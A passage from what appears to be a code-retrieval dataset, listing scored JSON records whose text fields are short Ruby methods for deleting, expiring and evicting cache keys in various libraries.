"0.67977774", "text": "def evict(key)\n @data_expires_at.delete(key)\n cache_value = @data.delete(key)\n @current_size_bytes -= size_of(key, cache_value)\n end", "title": "" }, { "docid": "a7fa1562413541ce8a8e77b4852633fa", "score": "0.6795367", "text": "def delete(key)\n @cache.delete(key)\n end", "title": "" }, { "docid": "962bb00c512c959fd613da67141bed5e", "score": "0.6774846", "text": "def expire(key, seconds); end", "title": "" }, { "docid": "962bb00c512c959fd613da67141bed5e", "score": "0.6774846", "text": "def expire(key, seconds); end", "title": "" }, { "docid": "af864e7b155eaedb4f4a83750123e115", "score": "0.67701906", "text": "def set_expiry(key, time)\n cache.set_expiry(key, time)\n end", "title": "" }, { "docid": "95999a1ce934afdfec194088cfe94bd5", "score": "0.669833", "text": "def delete(key)\n entry = @data.delete(key)\n if entry\n @expires_at.delete(entry)\n entry.value\n else\n nil\n end\n end", "title": "" }, { "docid": "73de11af993f263ec34e684fdc43626c", "score": "0.66295284", "text": "def delete(key, expires = 0)\n raise MemCacheError, \"Update of readonly cache\" if @readonly\n @client.delete(make_cache_key(key))\n end", "title": "" }, { "docid": "dac732450a090261af2a8ae6ca2d44f1", "score": "0.6594926", "text": "def delete(key)\n\t\t\t\tdo_finalization(key,@cache[key])\n\t\t\t\t@cache.delete key\n\t\t\t\t@ttl_cache.delete key\n\t\t\tend", "title": "" }, { "docid": "0ce787de798f54f6286bcec108636883", "score": "0.65918267", "text": "def expire(key, seconds_before_expiration)\n path = get_path(key)\n if seconds_before_expiration > 0 && File.exists?(path) && Time.new - File.new(path).mtime >= seconds_before_expiration\n FileUtils.rm(path)\n else\n # TODO: Figure out how to save expiration timestamp\n end\n @expiry = seconds_before_expiration\n end", "title": "" }, { "docid": "a4b4967531685f28e95f1ddecde72f1f", "score": "0.6579485", "text": "def expire(key, *args)\n request = request(:expire, key, *args)\n\n return nil unless cache?\n\n return nil unless instance = cache.find(request(:find, key, *args))\n\n Puppet.info \"Expiring the #{self.name} cache of #{instance.name}\"\n\n # Set an expiration date in the past\n instance.expiration = Time.now - 60\n\n cache.save(request(:save, instance, *args))\n end", "title": "" }, { "docid": "cabe9b0cdcad930a65574464f0c74767", "score": "0.65662885", "text": "def expire(key)\n CacheModel.expire(key)\n Merb.logger.info(\"cache: expired (#{key})\")\n true\n end", "title": "" }, { "docid": "9dec17c6e21e35e7730a0fdcf185d4b6", "score": "0.656401", "text": "def expire!(key)\n return false unless available?(key)\n begin\n ::File.delete(filename(key))\n true\n rescue\n end\n end", "title": "" }, { "docid": "cc9816a369f3c960ff1e4cbb2ade2fef", "score": "0.65546095", "text": "def delete_from_cache(key)\n cache_class.delete(key)\n end", "title": "" }, { "docid": "b8d3a627c5c116e323ed837f441e2ff8", "score": "0.6549584", "text": "def cache_clear(key)\n delete_cached_object(key)\n end", "title": "" }, { "docid": "ec3e3dce20fc055b43e69d75c35f2ea4", "score": "0.6547453", "text": "def delete key\n File.delete( cache_file(key) ) if File.exists?( cache_file(key) )\n end", "title": "" }, { "docid": "8e6f89263c3501c5bf40b9d68d9566f2", "score": "0.6524578", "text": "def expire!(key)\n sleep(0.5)\n end", "title": "" }, { "docid": "8c67b6877f590151ba2961de05797838", "score": "0.6476013", "text": "def remove(key)\n decode(cache.remove(encode(key)))\n end", "title": "" }, { "docid": "57d60a84de541c1a2654cf36ab2e904b", "score": "0.64676595", "text": "def expire_timeout_fragment(key)\n @@cache_timeout_values[key] = nil\n expire_fragment(key)\n end", "title": "" }, { "docid": "a312f772aca1faf6a0b2ddccdce198c4", "score": "0.6291806", "text": "def expire!\n now = Time.new\n\n @cache.each do |key, value|\n diff = (now - value[:time])\n next if diff < @ttl\n @expire[key] = value\n end\n\n unless @expire.empty?\n increment :expired, @cache.size - @expire.size\n @cache = @expire\n @expire = Hash.new\n end\n end", "title": "" }, { "docid": "70efbf38a705d6158a8e06f5e332d36b", "score": "0.62721145", "text": "def key_expired?(key)\n if @content.key?(key)\n ttl = @content[key][1]\n # To check Time-To-Live property has been set and expired for a key.\n if ttl != 0 && Time.parse(ttl.to_s.gsub('=>',':')) <= Time.now()\n @content.delete(key)\n commit_data\n end\n end\n end", "title": "" }, { "docid": "458214dab59913f1d6b13b855f65edd9", "score": "0.62549555", "text": "def delete(key)\n @provider.delete(key) # Delete key from cache provider\n end", "title": "" }, { "docid": "9954ad883198965e35e2005b8600ac36", "score": "0.624975", "text": "def delete(key)\n @cache.delete(key)\n File.delete(path_to(hash(key))) if disk_cache_enabled?\n end", "title": "" }, { "docid": "988258bb03ca9ada6acc8fbbef67c377", "score": "0.62479556", "text": "def expire(client, key, options)\n return unless options && options[:expires_in] && client.ttl(key).negative?\n\n client.expire key, options[:expires_in].to_i\n end", "title": "" }, { "docid": "5a9045738b677bf37f9de7a8383d2414", "score": "0.623446", "text": "def expire(key, seconds)\n raise method_not_implemented_message\n end", "title": "" }, { "docid": "611ef221cffd3306492d8a7bdc9a6bf7", "score": "0.62243193", "text": "def remove(*key)\n @cache.delete(key)\n end", "title": "" }, { "docid": "6b05d965a20430e86c2597c859e95650", "score": "0.6222352", "text": "def clear_key(key)\n @redis.del(key)\n end", "title": "" }, { "docid": "de6f28d711d92ddebcf733073fe74a7d", "score": "0.62048143", "text": "def invalidate_key(key)\n @meta_mutex.synchronize { @keys.delete(key) }\n end", "title": "" }, { "docid": "503ec2a8c61ad7d3469dc4f789bc78b0", "score": "0.61873657", "text": "def _remove_expired\n now = Time.now.to_i\n _edit_metadata do |metadata|\n files_to_delete = []\n metadata[:files].each_pair do |key,(size, _, expires)|\n next unless expires < now\n _cache_file(key).delete\n metadata[:bytes] -= size\n metadata[:files].delete(key)\n end\n end\n end", "title": "" }, { "docid": "b7ea7cfeb271335ee3846aca7b652d9f", "score": "0.61847407", "text": "def expire(key, seconds)\n\t\t\t\t\tcall('EXPIRE', key, seconds)\n\t\t\t\tend", "title": "" }, { "docid": "9ef75d2da5444b3dc2936b38ab53ef0b", "score": "0.6180403", "text": "def del(key)\n validate_key(key)\n\n mdel([key])\n end", "title": "" }, { "docid": "9ef75d2da5444b3dc2936b38ab53ef0b", "score": "0.6180403", "text": "def del(key)\n validate_key(key)\n\n mdel([key])\n end", "title": "" }, { "docid": "469bec26006a0e3fcd062b749d1b51e2", "score": "0.6178922", "text": "def remove_entry(key)\n @hash_storage.delete(key)\n end", "title": "" }, { "docid": "f1af163beaa538304aa555cb5e693de2", "score": "0.61566824", "text": "def remove_expired_cache\n while @cleaning_cache\n sleep(1) # default 5 seconds\n # --- Searching Expired Cache ---\n @hash_storage.each do |key, cache|\n if expired?(key)\n remove_entry(key)\n puts \"Removing #{cache} with key: #{key}\"\n end\n end\n @cleaning_cache = false\n # puts 'Cache Cleaned'\n end\n end", "title": "" }, { "docid": "296f04ad53c69cc1601388df3d8bbc5d", "score": "0.6155554", "text": "def delete_cached(key)\n key = cache_store_key(key)\n\n @store.transaction do |s|\n s.delete(key)\n end\n end", "title": "" }, { "docid": "0ce2a62ef7542f6b77e8c8a0dd83a348", "score": "0.6147298", "text": "def expire(key, ttl)\n a_key = make_key(key)\n @redis.expire(a_key, ttl)\n rescue Redis::BaseConnectionError\n raise\n rescue Exception\n false\n end", "title": "" }, { "docid": "c45547345d5289c2c9d847ed649b2bfa", "score": "0.61348605", "text": "def purge(key)\n @hash.delete(key)\n nil\n end", "title": "" }, { "docid": "2f489a0b741e46161babf858ce48c84f", "score": "0.6116469", "text": "def delete_key(key)\n return nil if invalid_key?(key)\n @mutex.synchronize do\n @keys.delete(key)\n @deleted.add(key)\n end\n end", "title": "" }, { "docid": "e79545b24fe7de9135c9bef346025ca3", "score": "0.6110696", "text": "def purge(key)\n @hash.delete(key)\n nil\n end", "title": "" }, { "docid": "5d711d96edeff50f9b0f2233482e760b", "score": "0.61097074", "text": "def remove_key(key)\n request(:remove_key, 'Key' => key)\n end", "title": "" }, { "docid": "dc39574cfa2b0ec5115df4aff33e5ac2", "score": "0.6092529", "text": "def remove(key)\n @semaphore.synchronize do\n return !!@cache.delete(key)\n end\n end", "title": "" }, { "docid": "59ec0734902814d58deeeed980870f56", "score": "0.60867953", "text": "def remove(key)\n @hash.delete(key)\n end", "title": "" }, { "docid": "59ec0734902814d58deeeed980870f56", "score": "0.60867953", "text": "def remove(key)\n @hash.delete(key)\n end", "title": "" }, { "docid": "8b3cd9969896044be3a7b139af85479f", "score": "0.6069002", "text": "def purge_key(key)\n synchronize do\n puts \"PURGE KEY: #{key}\"\n @storage.delete(key)\n end\n end", "title": "" }, { "docid": "4c4d28a9f439c52c0aee79f53e942974", "score": "0.6057791", "text": "def delete(key)\n if exists? (key)\n remove_entry(key)\n CacheResult.new(true,\"#{MY_MESSAGES[:success]} Key #{key} deleted\", nil)\n else\n CacheResult.new(false,\"#{MESSAGES[:not_found]} Key #{key} not found\", nil)\n end\n end", "title": "" }, { "docid": "4649dbc73aebd18ebd4b5702368c9dc0", "score": "0.60463387", "text": "def cache_del\n db.log_info(\"CACHE DEL: #{cache_key}\")\n cache_driver.del(cache_key)\n end", "title": "" }, { "docid": "4f4c2406d76aa7e942f23db68b64dc55", "score": "0.6042318", "text": "def delete(key)\n begin\n value = self[key]\n\n @memcached.delete key\n\n return value\n rescue Dalli::DalliError => e\n Wrest.logger.error \"Error deleting #{key} from cache: #{e.inspect}\"\n return nil\n end\n end", "title": "" }, { "docid": "4784560d4c5d46fa6e5a1420da0ce2d5", "score": "0.6027986", "text": "def del(key)\n @hash.delete(key)\n end", "title": "" }, { "docid": "87ce2ec7de54dca426e040e5023534cc", "score": "0.60244834", "text": "def expire_cache(*args)\n Rails.cache.delete(cache_id(*args))\n end", "title": "" }, { "docid": "88164881611f13e23b8f9c90fbc6a016", "score": "0.6006393", "text": "def evict_expired\n # Since data_expires_at keys are ordered by the age of the cache entry, we can bail out of the\n # loop as soon as we find the first unexpired key.\n @data_expires_at.each do |key, expiration|\n (expiration < Time.now.to_f) ? evict(key) : return\n end\n end", "title": "" }, { "docid": "5de7ba6156af0bc1681ffe681c62a4d6", "score": "0.59721667", "text": "def remove_key(key)\n reencrypt all_encrypted_files do\n key_path(key).unlink\n end\n end", "title": "" }, { "docid": "be071f63abc1e1ec5e10a1a1f2cd589e", "score": "0.5968748", "text": "def remove_key(key)\n @access_keys.delete(key)\n end", "title": "" }, { "docid": "501161b4c133a3c7b6fd074b3ff9c654", "score": "0.596518", "text": "def refresh key\n\n if @keys[key] == nil\n return false\n\n elsif Time.now.to_i - @keys[key][:keep_alive_stamp] < @ttl\n @keys[key][:keep_alive_stamp] = Time.now.to_i\n return true\n\n else\n #key has expired already. delete it and move on\n delete(key)\n return false\n end\n\n end", "title": "" }, { "docid": "23bea2e512d0a8f67193a07919bb7272", "score": "0.59613943", "text": "def delete_key(key)\n key_list_set = self.key_list_set.reload\n key_list_set.remove(key)\n end", "title": "" }, { "docid": "a77b49b0cf56368d5625cafb0ee3052e", "score": "0.59547925", "text": "def del(key)\n redis.del(key)\n end", "title": "" }, { "docid": "18522cc19d9879e8f9f2a8de8d105e37", "score": "0.59439886", "text": "def delete(keyname)\n keyname = keyname.to_s\n @@cache.delete(namespace_keyname(keyname), nil)\n end", "title": "" }, { "docid": "7ae1923b9c8acba2b58199dcf750b515", "score": "0.5942933", "text": "def delete(key)\n @cache.del @prefix + key\n end", "title": "" }, { "docid": "a986adabcf735a1f1cee5ad33a34b2be", "score": "0.5941767", "text": "def pexpire(key, milliseconds); end", "title": "" }, { "docid": "a986adabcf735a1f1cee5ad33a34b2be", "score": "0.5941767", "text": "def pexpire(key, milliseconds); end", "title": "" }, { "docid": "6caad844e3e47779c57b227f387c3a41", "score": "0.5936022", "text": "def remove(key)\n @h.delete(key)\n nil\n end", "title": "" }, { "docid": "1d3d2ca46ff8a639324f8290b9f1636d", "score": "0.59135306", "text": "def expired?(key)\n return true unless @hash_storage[key] != nil\n exp_time = @hash_storage[key].exp_time\n return false if exp_time == 0 # when zero, cache never expires\n expired = !exp_time.nil? && @hash_storage[key].exp_time <= Time.now.to_i\n end", "title": "" }, { "docid": "272ed0bdc4c38bd470cb02e3afb908d2", "score": "0.59088194", "text": "def delete(key)\n @redis.hdel(@path, key)\n return nil\n end", "title": "" }, { "docid": "80f9152ee305595a22bd5e6c925c336e", "score": "0.58925694", "text": "def expire_match(key)\n CacheModel.expire_match(key)\n Merb.logger.info(\"cache: expired matching (#{key})\")\n true\n end", "title": "" }, { "docid": "173e720a05c4e1c880a975234074aae4", "score": "0.58705187", "text": "def delete(key)\n redis.del _key(key)\n end", "title": "" }, { "docid": "173e720a05c4e1c880a975234074aae4", "score": "0.58705187", "text": "def delete(key)\n redis.del _key(key)\n end", "title": "" }, { "docid": "9408bd362df3b09651f388d7b91b7222", "score": "0.5855122", "text": "def delete( k )\n cache.delete( k.hash )\n end", "title": "" }, { "docid": "ceaae4c4c9fa3802433f143d5b4353b1", "score": "0.58443755", "text": "def delete(keyname)\n keyname = keyname.to_s\n Rails.cache.delete(namespace_keyname(keyname))\n end", "title": "" }, { "docid": "01f72964d825fadd0a844a86cd828cef", "score": "0.58311844", "text": "def remove_key\n File.unlink key_path\n end", "title": "" }, { "docid": "d958fa03ef1fcc366cb3af2a69b898df", "score": "0.5829035", "text": "def delete(key)\n redis.del(key, timer(key)) == 2\n end", "title": "" }, { "docid": "626afef1037e63e77ab9eac608f58f59", "score": "0.5827016", "text": "def delete(key)\n rv = Rails.cache.exist?(key)\n Rails.cache.delete(key)\n rv\n end", "title": "" }, { "docid": "154e203e4fb421b822abb4d1e72324ad", "score": "0.5824039", "text": "def cache_expiry=(seconds)\n\t\t\t@cache_expiry = seconds\n\t\tend", "title": "" }, { "docid": "e4a1415ce3fc7ec97e55ae5989b2809b", "score": "0.5824007", "text": "def cached?(key, expiry)\n timestamp = timestamp_from_key(key)\n if timestamp.zero?\n false\n elsif expiry.zero?\n true\n else\n (Time.now.to_i - timestamp) < expiry\n end\n end", "title": "" }, { "docid": "cb15cb71e0bb93fce6591f0bfd8746ac", "score": "0.58184123", "text": "def delete key\n\t\t\tkey = key.to_s\n\t\t\tif (conn=Plezi.redis)\n\t\t\t\tconn.expire @id, SESSION_LIFETIME\n\t\t\t\tret = conn.hget @id, key\n\t\t\t\tconn.hdel @id, key\n\t\t\t\treturn ret\n\t\t\tend\t\t\t\t\n\t\t\tfailed\n\t\tend", "title": "" }, { "docid": "db07720407de22719ebb91db70a2a7b9", "score": "0.581621", "text": "def delete(key)\n @hash.delete(key)\n end", "title": "" }, { "docid": "db07720407de22719ebb91db70a2a7b9", "score": "0.581621", "text": "def delete(key)\n @hash.delete(key)\n end", "title": "" }, { "docid": "ae313f193fa1679f322e0fcfa5048af0", "score": "0.58162016", "text": "def expire_cache!\n @snapshot = nil\n end", "title": "" }, { "docid": "35dcc36d2bf3a1d8760ec95a473a43a2", "score": "0.5815623", "text": "def remove(key)\n\n @client.del(build_key(key))\n\n end", "title": "" }, { "docid": "39294733830e1f86f22efa3b729f544e", "score": "0.5796742", "text": "def delete(key, options = nil)\n $redis_cache.del(key)\n rescue => exc\n @logger.error { \"MEMCACHE-ERROR: delete: K: #{key.inspect}. M: #{exc.message}, I: #{exc.inspect}\" }\n nil\n end", "title": "" }, { "docid": "04385f3775998fcb225a001e1a205796", "score": "0.5793478", "text": "def delete(key)\n `#@storage.removeItem(key)`\n end", "title": "" }, { "docid": "7dd6903ffcc1fdfbcd4aecb311f06936", "score": "0.578908", "text": "def remove(key)\n if @container[key]\n @container[key] = nil\n end\n end", "title": "" }, { "docid": "869b23b4fa8c55d89e178290b8fdcd5b", "score": "0.578459", "text": "def expire(key=nil,seconds=nil)\n if key.class == String && seconds.class == Fixnum && block_given?\n @j_del.java_method(:expire, [Java::java.lang.String.java_class,Java::int.java_class,Java::IoVertxCore::Handler.java_class]).call(key,seconds,(Proc.new { |ar| yield(ar.failed ? ar.cause : nil, ar.succeeded ? ar.result : nil) }))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling expire(key,seconds)\"\n end", "title": "" }, { "docid": "b0a86e3c8b4035b31c296ad6d48ba450", "score": "0.57842284", "text": "def forget(key)\n key = key.to_s\n __remove(key)\n end", "title": "" }, { "docid": "1b88dd21cd82c09aaf5d1d5e0046645a", "score": "0.5764102", "text": "def delete_key(key)\n return false unless @keys.key? key\n @mutex.synchronize do\n @keys.delete(key)\n @free_keys.delete(key)\n end\n @deleted_keys.add key\n end", "title": "" }, { "docid": "5fcd88ee180492262135d099bd7385bb", "score": "0.5758033", "text": "def expireat(key, unix_time); end", "title": "" }, { "docid": "5fcd88ee180492262135d099bd7385bb", "score": "0.5758033", "text": "def expireat(key, unix_time); end", "title": "" }, { "docid": "d1cfe267e661bbde376a63a0c5a11e0a", "score": "0.5752851", "text": "def invalidate( key )\n\t\tself.log.debug \"invalidating cache key '%p' for %s\" % [key, self.name]\n\t\tsuper\n\tend", "title": "" }, { "docid": "748d943e4958c0bac90ed971484014e1", "score": "0.5749242", "text": "def remove(key)\n storage.remove(\"#{@prefix}:#{key}\")\n end", "title": "" } ]
bc824809b00e00f05d60963aaddf3529
builds a new revision which layers the image on top of the old revision image.
[ { "docid": "4653c85cba32237ec9aaa4ac2c067616", "score": "0.7515999", "text": "def build_revision(image)\n if revisions.last\n comp = get_imagelist_from_url revisions.last.image.url\n else\n if !background?\n check_background\n end\n comp = get_imagelist_from_url background.url\n end\n comp.composite!( get_imagelist_from_url(image.canvas.url), 0, 0, Magick::AtopCompositeOp )\n return new_revision_with_imagelist(comp)\n end", "title": "" } ]
[ { "docid": "546b8cac54dd8ca9122420bdf55bb18c", "score": "0.72023994", "text": "def rebuild_revision\n if !background?\n check_background\n end\n if images.length > 0\n comp = get_imagelist_from_url background.url\n for image in images\n comp.composite!( get_imagelist_from_url(image.canvas.url), image.x, image.y, Magick::AtopCompositeOp )\n end\n return new_revision_with_imagelist(comp)\n else\n rev = Revision.new\n rev.image = background\n rev.wall = self\n rev.save\n return rev\n end\n end", "title": "" }, { "docid": "df5deef2ca98554102597818c0614ac5", "score": "0.63322806", "text": "def build_new_revision\n new_revision = Form.new(version_independent_id: version_independent_id,\n description: description, parent_id: parent_id, status: status,\n version: version + 1, name: name, oid: oid,\n created_by: created_by, control_number: control_number)\n\n new_revision\n end", "title": "" }, { "docid": "90887f090818b503bbc307113973c324", "score": "0.59086275", "text": "def call\n clone_revision\n end", "title": "" }, { "docid": "f84a35b03de94e8fedd7ef08faab563f", "score": "0.58432126", "text": "def update_with_revision\n store_revision do\n update_without_revision\n end\n end", "title": "" }, { "docid": "e0060fde0baa46e685666e7d912aa655", "score": "0.5658125", "text": "def generate_images_between(old_sha, new_sha, branch)\n head = @sat_repo.lookup(\"#{new_sha}\")\n # tails won't exist if previously repo was empty\n tail = @sat_repo.lookup(\"#{old_sha}\") unless old_sha[0..5] == '000000'\n walker = Rugged::Walker.new(@sat_repo)\n walker.push(head)\n walker.hide(tail) unless old_sha[0..5] == '000000'\n # find diff for each parent child pair\n walker.each do |commit|\n # very first commit has no parent\n if commit.parents.empty?\n generate_for('thumbnail', commit, nil)\n else\n commit.parents.each do|p|\n generate_for('thumbnail', commit, p)\n end\n end\n end\n generate_for('inspire', head, head.parents.first) if branch == 'master'\n end", "title": "" }, { "docid": "42e61cf6994dcf2a0d23af7a7ea3ceca", "score": "0.5614331", "text": "def add_revision\n address_containers.each { |ac| ac.add_revision }\n nil\n end", "title": "" }, { "docid": "9af222764b52b9b24d3ea38b7b0baccd", "score": "0.5515231", "text": "def create\n revisions do |orig_file, sha_list|\n sha_list.each_with_index do |sha, i|\n ver = (i + 1).to_s\n # Git revisioned file\n composeversions(orig_file, sha, ver) do |content, data, file_path|\n # dont re-write files\n if File.exist?(file_path)\n linecount(file_path)\n next\n end\n\n version_content = FrontMatter.new(data)\n version_content.content = content \n write(file_path, version_content.update)\n linecount(file_path)\n end\n end\n\n sha_list.map!.with_index { |sha, i| [] << sha << (i + 1) }\n # Git Diff combination files\n composediffs(orig_file, line_count, sha_list.combination(2)) do |content, data, file_path|\n content.sub!(DIFF_HEADER_REGEXP, '')\n if change?(content)\n VersionedFiles.frontmatter[\"no_change\"] = false\n styled_content = @style.style(content)\n data.merge!(@style.stats.final)\n else\n VersionedFiles.frontmatter[\"no_change\"] = \"no_change\"\n data[\"no_change\"] = true\n end\n\n fm = FrontMatter.new(data).create\n diff_file = fm << styled_content\n write(file_path, diff_file)\n end\n end\n end", "title": "" }, { "docid": "eb53c92744f274f8af18856b85a560b9", "score": "0.5509872", "text": "def update_image(branch, old_path, new_file, author, message)\n repo = satelliterepo\n repo.checkout(branch)\n file = File.join satellitedir, old_path\n FileUtils.cp new_file.tempfile.path, file\n repo.index.add old_path\n commit_id = satellite_commit(\n repo,\n message,\n author,\n branch\n )\n generate_thumbnail old_path, commit_id\n repo.checkout('master')\n end", "title": "" }, { "docid": "5a1ff211dc0387301511edfa926b7bc8", "score": "0.54866046", "text": "def copy_revision(original)\n # we only copy the RevisionFile/RevisionDirectory entries\n new_revision = MemoryRevision.new(original.revision_identifier)\n new_revision.user_id = original.user_id\n new_revision.comment = original.comment\n new_revision.files_content = {}\n new_revision.timestamp = original.timestamp\n new_revision.server_timestamp = original.server_timestamp\n # copy files objects\n original.files.each do |object|\n if object.instance_of?(Repository::RevisionFile)\n new_object = Repository::RevisionFile.new(object.from_revision.to_s, {\n name: object.name,\n path: object.path,\n last_modified_revision: object.last_modified_revision,\n changed: false, # for copies, set this to false\n user_id: object.user_id,\n last_modified_date: object.last_modified_date,\n submitted_date: object.last_modified_date\n })\n new_revision.files_content[new_object.to_s] = original.files_content[object.to_s]\n else\n new_object = Repository::RevisionDirectory.new(object.from_revision.to_s, {\n name: object.name,\n path: object.path,\n last_modified_revision: object.last_modified_revision,\n last_modified_date: object.last_modified_date,\n submitted_date: object.last_modified_date,\n changed: false, # for copies, set this to false\n user_id: object.user_id\n })\n end\n new_revision.files.push(new_object)\n end\n new_revision # return the copy\n end", "title": "" }, { "docid": "7841077d198260dc8215852fb0a80147", "score": "0.54858136", "text": "def build_git_revision(val = NULL)\n if null?(val)\n @build_git_revision ||= get_local_revision\n else\n @build_git_revision = val\n end\n end", "title": "" }, { "docid": "b8e1f66e25c57918e7dd988d2d3d4f32", "score": "0.54778856", "text": "def update_image(branch, old_path, new_file, author, message)\n repo = satelliterepo\n repo.checkout(branch)\n # to test if first image is updated\n file = File.join satellitedir, old_path\n FileUtils.cp new_file.tempfile.path, file\n repo.index.add old_path\n commit_id = satellite_commit(\n repo,\n message,\n author,\n branch\n )\n generate_thumbnail old_path, commit_id\n generate_inspire_image old_path if branch == 'master'\n repo.checkout('master')\n end", "title": "" }, { "docid": "8f5fb6a27a239506d7ae8a7d87910d09", "score": "0.54657924", "text": "def start_revision(revision)\n end", "title": "" }, { "docid": "6dd427836d83dfc6ca748d5d6be85338", "score": "0.54131013", "text": "def create_revision!\n logger.info(\"Creating a new revision for article_submission id: #{self.id}\")\n rev = self.copy(false)\n unless rev.article_submission\n rev.article_submission = self \n self.update_attribute(:last_revision,false)\n else\n rev.article_submission.article_submissions.each do |as|\n as.update_attribute(:last_revision,false)\n end\n end\n \n rev.resubmitted = nil\n rev.committed = nil\n rev.last_revision = true\n rev.save(false) \n rev.set_version!\n self.article_submission_reviewers.each do |ar|\n reviewer = ar.clone\n reviewer.change_status(ArticleSubmissionReviewer::NOT_YET_INVITED)\n rev.article_submission_reviewers << reviewer\n end\n rev.change_status(ArticleSubmission::STARTED)\n rev.increment_manuscript_rev_num\n\n return rev\n end", "title": "" }, { "docid": "c56ae03ec49f1763563c0715912c32a3", "score": "0.5399057", "text": "def mark\n \"(echo #{revision} > #{destination}/REVISION)\"\n end", "title": "" }, { "docid": "ca5ee3ad285086d702338f492192d8fa", "score": "0.53873813", "text": "def build\n @logger.info \"Build for #{@git_commit_id} ...\"\n\n @logger.info @rgit.checkout(@git_commit_id)\n\n @logger.info 'Start building docker image...'\n build_command = \"docker build -t '#{@repository[:name]}/#{@git_commit_id}' #{@work_dir}/#{@repository[:name]}\"\n last_line = ptywrap(build_command)\n image_id = last_line.split(\" \")[-1]\n @logger.info \"image_id is #{image_id}\"\n\n image_full_id = \\\n `docker inspect --format='{{.Id}}' #{image_id}`.chomp\n write_ids(image_full_id)\n image_full_id\n end", "title": "" }, { "docid": "2193ec6aa4e55e9e7f41825e565d8fe8", "score": "0.53785497", "text": "def fetch_revision\n end", "title": "" }, { "docid": "82300cb7243e5cd14753d0559a998677", "score": "0.53309315", "text": "def create_revision!\n revision = RevisionRecord.new(self, acts_as_revisionable_options[:encoding])\n revision.save!\n return revision\n end", "title": "" }, { "docid": "ffebdaef7bb03ba77de8001268fdf4eb", "score": "0.5230075", "text": "def revision\n if @new_resource.revision == 'HEAD'\n ['-A']\n else\n ['-r', @new_resource.revision]\n end\n end", "title": "" }, { "docid": "f637f65d840db358ab000741914cd306", "score": "0.51771796", "text": "def mark\n \"(echo #{revision} > #{configuration[:release_path]}/REVISION)\"\n end", "title": "" }, { "docid": "340b0c72d08ce100b8646b8ce6a4097d", "score": "0.5137959", "text": "def build_version(yaml_root, version)\n # yaml_dump = File.join(yaml_root, version.commit.gsub(\"/\", \"-\"))\n # return if File.exist? yaml_dump\n\n version.build\n version.clean\n #File.open(yaml_dump, \"w\") { |f| f.write(Psych.dump(version)) }\n #exit\nend", "title": "" }, { "docid": "374e68ff80cc86ec042e428bee5f80ec", "score": "0.51211154", "text": "def edit\n @builder.build_image unless @builder.image.present?\n end", "title": "" }, { "docid": "24133ad1c461a2e7346ea6043010394d", "score": "0.5110597", "text": "def create_version\n if handle_upload_data(true)\n comments = params[:revision_comments]\n\n respond_to do |format|\n create_new_version comments\n create_model_image @model, model_image_params if model_image_present?\n format.html { redirect_to @model }\n end\n else\n flash[:error]=flash.now[:error]\n redirect_to @model\n end\n end", "title": "" }, { "docid": "c325db0b07e5255c0c23413f2fad5043", "score": "0.50886023", "text": "def rebuild\n @logger.debug('rebuild()')\n self.destroy\n self.up\n end", "title": "" }, { "docid": "9fb83a32a9b4284512eedcbedafb73ad", "score": "0.5056463", "text": "def build_image\n\n build_image = self.clone\n\n build_image.listeners = [$ll = LogfileListener.new(\"build_#{@name}\"), BuildProfilerListener.new]\n build_image.filters = [IgnoreOutputFilter.new, OutputTimestamperFilter.new] if not Rake::application.options.trace\n\n exit_code = build_image.run \"build_#{@name}\"\n\n fail \"build failed: runalias.exe returned #{exit_code}\" if exit_code != 0\n end", "title": "" }, { "docid": "3a2e4e8201efab326a6f76eb48d8cf1f", "score": "0.5020426", "text": "def build_version(new_attrs = {})\n new_version = self.class.new(new_version_attrs(new_attrs)).tap do |built|\n built.deprecate_old_versions_after_create!\n preserve_has_one_associations_to(built) \n end\n end", "title": "" }, { "docid": "4b614fcc2734ae8696f8c3e611b6597b", "score": "0.49824423", "text": "def prep_build(version)\n # Reset back to master and ensure the build branch is removed\n %x( cd #{@work_dir} && git checkout -f master && git branch -D build &> /dev/null )\n\n # Checkout version as build branch\n %x( cd #{@work_dir} && git checkout #{version} -b build )\n\n # Clean everything\n %x( cd #{@work_dir} && git clean -f -d -x )\n end", "title": "" }, { "docid": "367518b268ff2b0204a0a24886a8191c", "score": "0.49793047", "text": "def install_revision(revision)\n prefix = File.join(prefixes_dir, revision)\n execute('git', 'reset', '--hard', revision) && (try_make(prefix) || clean_make(prefix))\n end", "title": "" }, { "docid": "3e9ff0fec1b57af08596298e32a9a0db", "score": "0.49750444", "text": "def create_revision(id, bin_params)\n @rest.post(\"#{id}/save\", bin_params)\n end", "title": "" }, { "docid": "3a929bf7bc5920cec37499542eafafae", "score": "0.49725506", "text": "def mark\n \"echo #{revision} > #{configuration[:deploy_release]}/REVISION\"\n end", "title": "" }, { "docid": "d7c6445750dc767733940043f448837a", "score": "0.4965931", "text": "def latest_revision\n # TODO: Why is create called here anyway?\n create if @resource.value(:force) && working_copy_exists?\n create unless working_copy_exists?\n\n branch = on_branch?\n return get_revision(\"#{@resource.value(:remote)}/#{branch}\") if branch\n get_revision\n end", "title": "" }, { "docid": "1e8ae4ca206c38f3fb6fab2c15147c9b", "score": "0.49609601", "text": "def thumbnail!\n image.recreate_versions! if thumbnail_coordinates_changed?\n end", "title": "" }, { "docid": "a8a9cfef63bd53c44c1c7944b7b3a64d", "score": "0.4958556", "text": "def append_image(image)\n image_ele = @image_ele.clone\n image_ele.at(\".//v:shape\").attributes[\"style\"].value = \"width:#{image.width}pt;height:#{image.height}pt\"\n image_ele.at(\".//v:imagedata\").attributes[\"id\"].value = \"rId#{@rid_index}\"\n image_rel = @image_rel.clone\n image_rel.attributes[\"Id\"].value = \"rId#{@rid_index}\"\n image_rel.attributes[\"Target\"].value = \"media/image#{@rid_index}.#{image.file_type}\"\n FileUtils.cp(image.file_name, \"public/downloads/#{@filename}/blank_doc/word/media/image#{@rid_index}.#{image.file_type}\")\n @rel_doc.at('.//xmlns:Relationships').add_child(image_rel)\n @rid_index += 1\n\n last_para = @main_doc.xpath('.//w:p')[-1]\n last_para.add_child(image_ele)\n end", "title": "" }, { "docid": "e591f8ac39c8693393cecf9f240d1324", "score": "0.49559686", "text": "def patches; DATA unless build.head?; end", "title": "" }, { "docid": "9cfdec5c23971677f7f482367d01ba2c", "score": "0.4951019", "text": "def set_revision\n @revision = find_revision(params[:id])\n end", "title": "" }, { "docid": "2d7ff6730a5f1cf50613507da60f5a28", "score": "0.49374565", "text": "def on_postbuild(src_tree, dst_tree, converter)\n current_branch = @git_itf.current_branch\n\n dst_tree.traverse_preorder do |level, dst_node|\n unless dst_node.leaf?\n dst_node.data = DataDelegator.new if dst_node.data.nil?\n dst_node.data.add(FileHistory.new(current_branch))\n next\n end\n\n src_node = 